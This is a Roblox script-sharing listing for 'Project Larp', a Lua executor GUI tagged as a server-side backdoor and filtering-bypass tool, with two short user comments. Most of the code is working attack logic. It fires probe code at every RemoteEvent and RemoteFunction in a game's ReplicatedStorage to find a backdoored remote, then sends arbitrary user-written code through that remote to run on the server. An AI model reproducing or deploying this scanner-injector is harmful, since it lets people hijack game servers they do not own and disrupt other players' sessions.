Project Larp
Key RequiredUniversal

Project Larp

Universal ScriptZZCeZZCe 5.1K views 1.1K executesUpdated Apr 22, 2026
5.0/ 5(1 votes)
10100% Positive
Lua Script•380 lines (11386 chars)
local LMG2L = {};

-- // The gui

LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
LMG2L["ScreenGui_1"]["ResetOnSpawn"] = false;

LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]);
LMG2L["Frame_2"]["BorderSizePixel"] = 0;
LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(239, 239, 239);
LMG2L["Frame_2"]["Size"] = UDim2.new(0, 356, 0, 244);
LMG2L["Frame_2"]["Position"] = UDim2.new(0, 216, 0, 22);

Instance.new("UICorner", LMG2L["Frame_2"]).CornerRadius = UDim.new(0, 9);

local TitleLabel = Instance.new("TextLabel", LMG2L["Frame_2"])
TitleLabel.Size = UDim2.new(0, 238, 0, 20)
TitleLabel.Position = UDim2.new(0, 6, 0, 15)
TitleLabel.BackgroundTransparency = 1
TitleLabel.Text = "Project Larp"
TitleLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TitleLabel.TextScaled = true
TitleLabel.Font = Enum.Font.GothamBold
TitleLabel.TextXAlignment = Enum.TextXAlignment.Left

LMG2L["TextBox_15"] = Instance.new("TextBox", LMG2L["Frame_2"]);
LMG2L["TextBox_15"]["TextXAlignment"] = Enum.TextXAlignment.Left;
LMG2L["TextBox_15"]["TextYAlignment"] = Enum.TextYAlignment.Top;
LMG2L["TextBox_15"]["Size"] = UDim2.new(0, 238, 0, 118);
LMG2L["TextBox_15"]["Position"] = UDim2.new(0, 6, 0, 50);
LMG2L["TextBox_15"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]]);
LMG2L["TextBox_15"]["Text"] = [[-- Project Larp]];
LMG2L["TextBox_15"]["BorderColor3"] = Color3.fromRGB(189, 189, 189);
LMG2L["TextBox_15"]["MultiLine"] = true;
LMG2L["TextBox_15"]["ClearTextOnFocus"] = false;
LMG2L["TextBox_15"]["TextWrapped"] = true;

LMG2L["TextButton_7"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton_7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["TextButton_7"]["Size"] = UDim2.new(0, 92, 0, 26);
LMG2L["TextButton_7"]["Position"] = UDim2.new(0, 2, 0, 168);
LMG2L["TextButton_7"]["Text"] = [[Execute]];
LMG2L["TextButton_7"]["Style"] = Enum.ButtonStyle.RobloxRoundDropdownButton;

LMG2L["TextButton2_4"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton2_4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["TextButton2_4"]["Size"] = UDim2.new(0, 92, 0, 28);
LMG2L["TextButton2_4"]["Position"] = UDim2.new(0, 2, 0, 192);
LMG2L["TextButton2_4"]["Text"] = [[Clear]];
LMG2L["TextButton2_4"]["Style"] = Enum.ButtonStyle.RobloxRoundDropdownButton;

LMG2L["ResetButton"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["ResetButton"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["ResetButton"]["Size"] = UDim2.new(0, 92, 0, 26);
LMG2L["ResetButton"]["Position"] = UDim2.new(0, 2, 0, 218);
LMG2L["ResetButton"]["Text"] = [[Reset]];
LMG2L["ResetButton"]["Style"] = Enum.ButtonStyle.RobloxRoundDropdownButton;

LMG2L["MethodButton"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["MethodButton"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["MethodButton"]["Size"] = UDim2.new(0, 95, 0, 30);
LMG2L["MethodButton"]["Position"] = UDim2.new(0, 257, 0, 210);
LMG2L["MethodButton"]["Text"] = [[Lalol Method]];
LMG2L["MethodButton"]["Style"] = Enum.ButtonStyle.RobloxRoundDropdownButton;
LMG2L["MethodButton"]["TextScaled"] = true;

LMG2L["Frame3_6"] = Instance.new("Frame", LMG2L["Frame_2"]);
LMG2L["Frame3_6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Frame3_6"]["Size"] = UDim2.new(0, 94, 0, 148);
LMG2L["Frame3_6"]["Position"] = UDim2.new(0, 255, 0, 25);
LMG2L["Frame3_6"]["Name"] = [[ScriptList]];

Instance.new("UICorner", LMG2L["Frame3_6"]).CornerRadius = UDim.new(0, 8);

local SearchBox = Instance.new("TextBox", LMG2L["Frame3_6"]);
SearchBox.Size = UDim2.new(1, -8, 0, 24);
SearchBox.Position = UDim2.new(0, 4, 0, 6);
SearchBox.PlaceholderText = "Pesquisar...";
SearchBox.BackgroundColor3 = Color3.fromRGB(245, 245, 245);
SearchBox.Text = "";
SearchBox.TextScaled = true;
Instance.new("UICorner", SearchBox).CornerRadius = UDim.new(0, 6);

local ScrollList = Instance.new("ScrollingFrame", LMG2L["Frame3_6"]);
ScrollList.Size = UDim2.new(1, -8, 1, -38);
ScrollList.Position = UDim2.new(0, 4, 0, 34);
ScrollList.BackgroundTransparency = 1;
ScrollList.ScrollBarThickness = 4;
ScrollList.BorderSizePixel = 0;

local ListLayout = Instance.new("UIListLayout", ScrollList);
ListLayout.Padding = UDim.new(0, 4);

Instance.new("UIDragDetector", LMG2L["Frame_2"]);

-- // List script system

local FOLDER_NAME = "ProjectLarp"
if not isfolder(FOLDER_NAME) then makefolder(FOLDER_NAME) end

local function loadFilesIntoScroll(filter)
	filter = filter or ""
	for _, v in ipairs(ScrollList:GetChildren()) do
		if not v:IsA("UIListLayout") then v:Destroy() end
	end

	local files = listfiles(FOLDER_NAME)

	for _, path in ipairs(files) do
		local name = path:match("[^/\\]+$")
		if string.find(string.lower(name), string.lower(filter)) then
			local item = Instance.new("TextButton")
			item.Size = UDim2.new(1, -5, 0, 28)
			item.Text = name
			item.BackgroundColor3 = Color3.fromRGB(240, 240, 240)
			item.TextColor3 = Color3.fromRGB(0, 0, 0)
			item.TextScaled = true
			item.Parent = ScrollList

			item.MouseButton1Click:Connect(function()
				local fullPath = FOLDER_NAME .. "/" .. name
				if isfile(fullPath) then
					LMG2L["TextBox_15"].Text = readfile(fullPath)
				end
			end)
		end
	end

	ScrollList.CanvasSize = UDim2.new(0, 0, 0, ListLayout.AbsoluteContentSize.Y + 10)
end

SearchBox:GetPropertyChangedSignal("Text"):Connect(function()
	loadFilesIntoScroll(SearchBox.Text)
end)

task.spawn(function()
	task.wait(0.4)
	loadFilesIntoScroll()
end)

-- // Inject methods

local CurrentMethod = 1
_G.LarpBackdoor = nil

local alphabet = {
	'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
	'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
}

local function genName(l)
	local s = ""
	for i = 1, l do
		s = s .. alphabet[math.random(#alphabet)]
	end
	return s
end

local function runRemote(remote, code)
	if remote:IsA("RemoteEvent") then
		remote:FireServer(code)
	elseif remote:IsA("RemoteFunction") then
		spawn(function()
			remote:InvokeServer(code)
		end)
	end
end

-- // Lalol Method

local function InjectLALOL()
	game:GetService("StarterGui"):SetCore("SendNotification", {
		Title = "Project Larp",
		Text = "Injecting...",
		Duration = 3
	})

	local backdoor = nil
	local remotes = {}

	for _, v in ipairs(game:GetDescendants()) do
		if (v:IsA("RemoteEvent") or v:IsA("RemoteFunction")) and 
		   (v.Parent == game.ReplicatedStorage or v.Parent.Parent == game.ReplicatedStorage) then
			
			local code = genName(16)
			runRemote(v, "a=Instance.new('StringValue',workspace)a.Name='"..code.."'")
			remotes[code] = v
		end
	end

	for i = 1, 50 do
		for code, remote in pairs(remotes) do
			if workspace:FindFirstChild(code) then
				backdoor = remote
				workspace[code]:Destroy()
				break
			end
		end
		if backdoor then break end
		task.wait(0.12)
	end

	if backdoor then
		_G.LarpBackdoor = backdoor

		runRemote(backdoor, [[
			local h = Instance.new("Hint", workspace)
			h.Text = "Project Larp | <3"
		]])

		game:GetService("StarterGui"):SetCore("SendNotification", {
			Title = "Project Larp",
			Text = "Inject successful! Enjoy you larp session!",
			Duration = 4
		})
	else
		game:GetService("StarterGui"):SetCore("SendNotification", {
			Title = "Project Larp",
			Text = "You larp is failed.",
			Duration = 4
		})
	end
end

-- // Kakanuckels Method

local function InjectKakanuckels()
	game:GetService("StarterGui"):SetCore("SendNotification", {
		Title = "Project Larp",
		Text = "Injecting...",
		Duration = 3
	})

	local backdoor = nil

	for _, v in ipairs(game.ReplicatedStorage:GetDescendants()) do
		if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then
			local name = genName(10)

			runRemote(v, 'Instance.new("Model", workspace).Name="'..name..'"')
			task.wait(0.6)

			if workspace:FindFirstChild(name) then
				backdoor = v
				break
			end
		end
	end

	if backdoor then
		_G.LarpBackdoor = backdoor

		runRemote(backdoor, [[
			local h = Instance.new("Hint", workspace)
			h.Text = "Project Larp | <3"
		]])

		game:GetService("StarterGui"):SetCore("SendNotification", {
			Title = "Project Larp",
			Text = "Inject successful! Enjoy you larp session!",
			Duration = 4
		})
	else
		game:GetService("StarterGui"):SetCore("SendNotification", {
			Title = "Project Larp",
			Text = "You larp is failed.",
			Duration = 4
		})
	end
end

-- // Button logics

LMG2L["TextButton_7"].MouseButton1Click:Connect(function()
	local code = LMG2L["TextBox_15"].Text
	if code == "" then return end

	if not _G.LarpBackdoor then
		if CurrentMethod == 1 then
			InjectLALOL()
		else
			InjectKakanuckels()
		end
	end

	if _G.LarpBackdoor then
		runRemote(_G.LarpBackdoor, code:gsub("{owner}", game.Players.LocalPlayer.Name))
		game:GetService("StarterGui"):SetCore("SendNotification", {Title = "Project Larp", Text = "Script executed!", Duration = 3})
	else
		pcall(loadstring(code))
	end
end)

LMG2L["MethodButton"].MouseButton1Click:Connect(function()
	CurrentMethod = CurrentMethod == 1 and 2 or 1
	LMG2L["MethodButton"].Text = (CurrentMethod == 1 and "Lalol Method" or "Kakanuckels Method")
end)

LMG2L["TextButton2_4"].MouseButton1Click:Connect(function()
	LMG2L["TextBox_15"].Text = ""
end)

LMG2L["ResetButton"].MouseButton1Click:Connect(function()
	if _G.LarpBackdoor then
		local name = game.Players.LocalPlayer.Name
		runRemote(_G.LarpBackdoor, "game.Players['" .. name .. "']:LoadCharacter()")
	end
end)

-- // Togle gui

local function CreateToggleButton(parent)
	local btn = Instance.new("ImageButton")
	btn.Name = "ToggleButton"
	btn.Parent = parent

	btn.Size = UDim2.new(0, 65, 0, 65)
	btn.Position = UDim2.new(0, 30, 0, 30)
	btn.BackgroundTransparency = 1
	btn.Image = "rbxassetid://132604725696137"
	btn.ZIndex = 999
	btn.Active = true

	Instance.new("UICorner", btn).CornerRadius = UDim.new(1, 0)

	return btn
end

local function EnableDrag(guiObject)
	local UIS = game:GetService("UserInputService")

	local dragging = false
	local dragStart, startPos

	guiObject.InputBegan:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			dragging = true
			dragStart = input.Position
			startPos = guiObject.Position
		end
	end)

	guiObject.InputEnded:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			dragging = false
		end
	end)

	UIS.InputChanged:Connect(function(input)
		if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
			local delta = input.Position - dragStart
			guiObject.Position = UDim2.new(
				startPos.X.Scale,
				startPos.X.Offset + delta.X,
				startPos.Y.Scale,
				startPos.Y.Offset + delta.Y
			)
		end
	end)
end

local function SetupToggle(button, frame)
	local visible = true

	button.Activated:Connect(function()
		visible = not visible
		frame.Visible = visible
	end)
end

local function InitToggle(screenGui, frame)
	local toggle = CreateToggleButton(screenGui)
	EnableDrag(toggle)
	SetupToggle(toggle, frame)
end

InitToggle(LMG2L["ScreenGui_1"], LMG2L["Frame_2"])

return LMG2L["ScreenGui_1"]

Features & Information

Put your scripts into "ProjectLarp" Folder(in txt or lua) to save your scripts!
#Larp#ServerSide#FeByp*#Backdoor

Community Comments (2)

MangotrollfaceeditMangotrollfaceeditApr 22, 2026

Tuff

lvgzlvgzApr 22, 2026

son im crine what did i js find

More Scripts for Universal Scripts